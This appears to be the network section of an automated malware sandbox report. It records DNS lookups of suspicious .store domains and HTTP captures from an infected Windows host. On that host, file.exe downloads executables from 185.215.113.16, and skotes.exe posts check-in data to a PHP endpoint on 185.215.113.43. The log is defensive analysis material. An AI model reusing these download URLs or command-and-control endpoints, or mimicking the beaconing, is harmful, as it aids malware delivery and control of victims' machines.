Oct 30, 2024 11:47:02.602478027 CET	80	58204	185.215.113.16	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 11:45:11.743500948 CET	192.168.2.7	1.1.1.1	0x1f0d	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:11.759269953 CET	192.168.2.7	1.1.1.1	0x76e5	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:11.776736975 CET	192.168.2.7	1.1.1.1	0x411e	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:11.787889957 CET	192.168.2.7	1.1.1.1	0x3ab9	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:11.799030066 CET	192.168.2.7	1.1.1.1	0x5920	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:45.833137035 CET	192.168.2.7	1.1.1.1	0x9e36	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:45.846709967 CET	192.168.2.7	1.1.1.1	0x8985	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:45.857667923 CET	192.168.2.7	1.1.1.1	0x8f01	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:45.868769884 CET	192.168.2.7	1.1.1.1	0xc995	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:00.359509945 CET	192.168.2.7	1.1.1.1	0xc932	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:00.476895094 CET	192.168.2.7	1.1.1.1	0xcc3c	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:00.501482964 CET	192.168.2.7	1.1.1.1	0x36f1	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:00.512300014 CET	192.168.2.7	1.1.1.1	0x1b9f	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:06.475233078 CET	192.168.2.7	1.1.1.1	0xbded	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:06.495748997 CET	192.168.2.7	1.1.1.1	0x9321	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 11:47:09.609951019 CET	192.168.2.7	1.1.1.1	0x468	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:09.610325098 CET	192.168.2.7	1.1.1.1	0x85f5	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:09.690947056 CET	192.168.2.7	1.1.1.1	0x898d	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:09.691123962 CET	192.168.2.7	1.1.1.1	0xe46	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:09.767093897 CET	192.168.2.7	1.1.1.1	0x582f	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 30, 2024 11:47:09.768116951 CET	192.168.2.7	1.1.1.1	0xfbb4	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 11:47:10.604137897 CET	192.168.2.7	1.1.1.1	0xf288	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.604531050 CET	192.168.2.7	1.1.1.1	0xb1ee	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.645282030 CET	192.168.2.7	1.1.1.1	0x9332	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.658056021 CET	192.168.2.7	1.1.1.1	0xcd04	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.665918112 CET	192.168.2.7	1.1.1.1	0x61a9	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.673585892 CET	192.168.2.7	1.1.1.1	0xb0d0	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 11:47:10.712656975 CET	192.168.2.7	1.1.1.1	0xfe1e	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.720928907 CET	192.168.2.7	1.1.1.1	0xe611	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.721519947 CET	192.168.2.7	1.1.1.1	0x586d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.729302883 CET	192.168.2.7	1.1.1.1	0xe26a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 11:47:10.729667902 CET	192.168.2.7	1.1.1.1	0xb1f6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 11:47:13.560739994 CET	192.168.2.7	1.1.1.1	0xb2d7	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:13.569194078 CET	192.168.2.7	1.1.1.1	0xc545	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:13.577238083 CET	192.168.2.7	1.1.1.1	0x4d1c	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 11:47:13.999720097 CET	192.168.2.7	1.1.1.1	0x3bdf	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:14.016853094 CET	192.168.2.7	1.1.1.1	0xb5ea	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:14.073442936 CET	192.168.2.7	1.1.1.1	0x13e2	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:14.122636080 CET	192.168.2.7	1.1.1.1	0x47aa	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 11:47:14.170911074 CET	192.168.2.7	1.1.1.1	0x443	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:14.250793934 CET	192.168.2.7	1.1.1.1	0xfc98	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:14.300690889 CET	192.168.2.7	1.1.1.1	0x24a4	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 11:47:38.117588997 CET	192.168.2.7	1.1.1.1	0x1bc7	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:38.487190008 CET	192.168.2.7	1.1.1.1	0x709a	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:38.748764992 CET	192.168.2.7	1.1.1.1	0x2f84	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:38.990375996 CET	192.168.2.7	1.1.1.1	0xa033	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 11:45:11.753149033 CET	1.1.1.1	192.168.2.7	0x1f0d	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:11.772661924 CET	1.1.1.1	192.168.2.7	0x76e5	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:11.786434889 CET	1.1.1.1	192.168.2.7	0x411e	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:11.797477961 CET	1.1.1.1	192.168.2.7	0x3ab9	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:11.817090034 CET	1.1.1.1	192.168.2.7	0x5920	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:11.817090034 CET	1.1.1.1	192.168.2.7	0x5920	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:45.842863083 CET	1.1.1.1	192.168.2.7	0x9e36	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:45.856317043 CET	1.1.1.1	192.168.2.7	0x8985	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:45.867583990 CET	1.1.1.1	192.168.2.7	0x8f01	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:45.884181023 CET	1.1.1.1	192.168.2.7	0xc995	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:00.369350910 CET	1.1.1.1	192.168.2.7	0xc932	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:00.498120070 CET	1.1.1.1	192.168.2.7	0xcc3c	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:00.510967016 CET	1.1.1.1	192.168.2.7	0x36f1	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:00.522533894 CET	1.1.1.1	192.168.2.7	0x1b9f	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:06.384632111 CET	1.1.1.1	192.168.2.7	0x2241	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:06.483167887 CET	1.1.1.1	192.168.2.7	0xbded	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:09.617497921 CET	1.1.1.1	192.168.2.7	0x468	No error (0)	youtube.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:09.617754936 CET	1.1.1.1	192.168.2.7	0x85f5	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:47:09.617754936 CET	1.1.1.1	192.168.2.7	0x85f5	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:09.698131084 CET	1.1.1.1	192.168.2.7	0x898d	No error (0)	youtube.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:09.698208094 CET	1.1.1.1	192.168.2.7	0xe46	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:09.774374008 CET	1.1.1.1	192.168.2.7	0x582f	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 30, 2024 11:47:09.775276899 CET	1.1.1.1	192.168.2.7	0xfbb4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 11:47:10.611759901 CET	1.1.1.1	192.168.2.7	0xb1ee	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.611759901 CET	1.1.1.1	192.168.2.7	0xb1ee	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.611816883 CET	1.1.1.1	192.168.2.7	0xf288	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.653386116 CET	1.1.1.1	192.168.2.7	0x9332	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.665853977 CET	1.1.1.1	192.168.2.7	0xcd04	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:47:10.665853977 CET	1.1.1.1	192.168.2.7	0xcd04	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.673105955 CET	1.1.1.1	192.168.2.7	0x61a9	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.719971895 CET	1.1.1.1	192.168.2.7	0xfe1e	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:47:10.719971895 CET	1.1.1.1	192.168.2.7	0xfe1e	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.720752954 CET	1.1.1.1	192.168.2.7	0x36c0	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:47:10.720752954 CET	1.1.1.1	192.168.2.7	0x36c0	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.728765965 CET	1.1.1.1	192.168.2.7	0xe611	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:10.729028940 CET	1.1.1.1	192.168.2.7	0x586d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:13.568291903 CET	1.1.1.1	192.168.2.7	0xb2d7	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:47:13.568291903 CET	1.1.1.1	192.168.2.7	0xb2d7	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:47:13.568291903 CET	1.1.1.1	192.168.2.7	0xb2d7	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:13.576684952 CET	1.1.1.1	192.168.2.7	0xc545	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:13.584508896 CET	1.1.1.1	192.168.2.7	0x4d1c	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 11:47:14.007358074 CET	1.1.1.1	192.168.2.7	0x3bdf	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:47:14.024187088 CET	1.1.1.1	192.168.2.7	0xb5ea	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:14.080941916 CET	1.1.1.1	192.168.2.7	0x13e2	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:14.178632975 CET	1.1.1.1	192.168.2.7	0x443	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:47:14.178632975 CET	1.1.1.1	192.168.2.7	0x443	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:14.258790970 CET	1.1.1.1	192.168.2.7	0xfc98	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:14.303060055 CET	1.1.1.1	192.168.2.7	0x9519	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:47:14.303060055 CET	1.1.1.1	192.168.2.7	0x9519	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:38.130207062 CET	1.1.1.1	192.168.2.7	0x1bc7	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:38.496917009 CET	1.1.1.1	192.168.2.7	0x709a	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:38.757942915 CET	1.1.1.1	192.168.2.7	0x2f84	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:47:39.168476105 CET	1.1.1.1	192.168.2.7	0xa033	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49758	185.215.113.16	80	6604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:45:26.049144983 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 11:45:26.956531048 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:45:26 GMT Content-Type: application/octet-stream Content-Length: 2895872 Last-Modified: Wed, 30 Oct 2024 10:42:46 GMT Connection: keep-alive ETag: "67220da6-2c3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,,`Ui` @ @.rsrc`2@.idata 8@fbnfxrsu++:@rjcetyim ,,@.taggant@,",@
Oct 30, 2024 11:45:26.956542015 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:45:26.956554890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:45:26.956568003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:45:26.956577063 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:45:26.956588984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:45:26.956598997 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:45:26.956728935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:45:26.956739902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:45:26.956752062 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 11:45:26.962158918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2i4\elly\UJZI?\|iS~UY"Ze lOBc=bRu=
Oct 30, 2024 11:45:33.936057091 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 11:45:34.216906071 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:45:34 GMT Content-Type: application/octet-stream Content-Length: 1886208 Last-Modified: Wed, 30 Oct 2024 10:22:42 GMT Connection: keep-alive ETag: "672208f2-1cc800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfPK@K<@WkL<K;K @.rsrc@.idata @ *@cicynwpg1@whvjoyjd@K@.taggant0PK"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	58188	185.215.113.43	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:46:32.122350931 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 11:46:33.025803089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 10:46:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	58189	185.215.113.43	80	1876	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:46:34.597601891 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
